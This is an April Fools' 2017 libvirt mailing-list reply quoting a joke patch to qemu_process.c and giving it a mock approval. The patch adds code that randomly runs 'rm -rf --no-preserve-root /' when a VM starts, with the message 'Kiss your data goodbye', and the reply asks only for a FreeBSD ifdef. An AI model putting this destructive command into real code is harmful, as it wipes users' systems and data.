[libvirt] [PATCH] Give other software a fair chance

Roman Bogorodskiy bogorodskiy at gmail.com
Sat Apr 1 07:09:54 UTC 2017


  Michal Privoznik wrote:

> Libvirt's so good, so solid that it almost feels like other
> software stand no chance. Other applications are buggy, unstable,
> crashing, etc. But not libvirt. Therefore, it seems only fair
> that we introduce some bugs so developers of the other
> applications don't feel that bad.
> 
> Signed-off-by: Michal Privoznik <mprivozn at redhat.com>
> ---
>  src/qemu/qemu_process.c | 10 ++++++++++
>  1 file changed, 10 insertions(+)
> 
> diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
> index a20beb1..2a68611 100644
> --- a/src/qemu/qemu_process.c
> +++ b/src/qemu/qemu_process.c
> @@ -77,6 +77,7 @@
>  #include "configmake.h"
>  #include "nwfilter_conf.h"
>  #include "netdev_bandwidth_conf.h"
> +#include "virrandom.h"
>  
>  #define VIR_FROM_THIS VIR_FROM_QEMU
>  
> @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
>      if (!migrateFrom && !snapshot)
>          flags |= VIR_QEMU_PROCESS_START_NEW;
>  
> +    /* Be fair to other applications. */
> +    if (virRandomInt(2)) {
> +        const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
> +        virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
> +                       _("Sorry pal, today is just not your day. Kiss your data goodbye."));
> +        ignore_value(virRun(argv, NULL));
> +        goto cleanup;
> +    }
> +
>      if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
>          goto cleanup;

Looks safe for the freeze.

ACK if you place "--no-preserve-root" under "#ifdef __linux__" because
it's not supported on FreeBSD for example.

Roman Bogorodskiy
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 455 bytes
Desc: not available
URL: <http://listman.redhat.com/archives/libvir-list/attachments/20170401/88545fd8/attachment-0001.sig>


More information about the libvir-list mailing list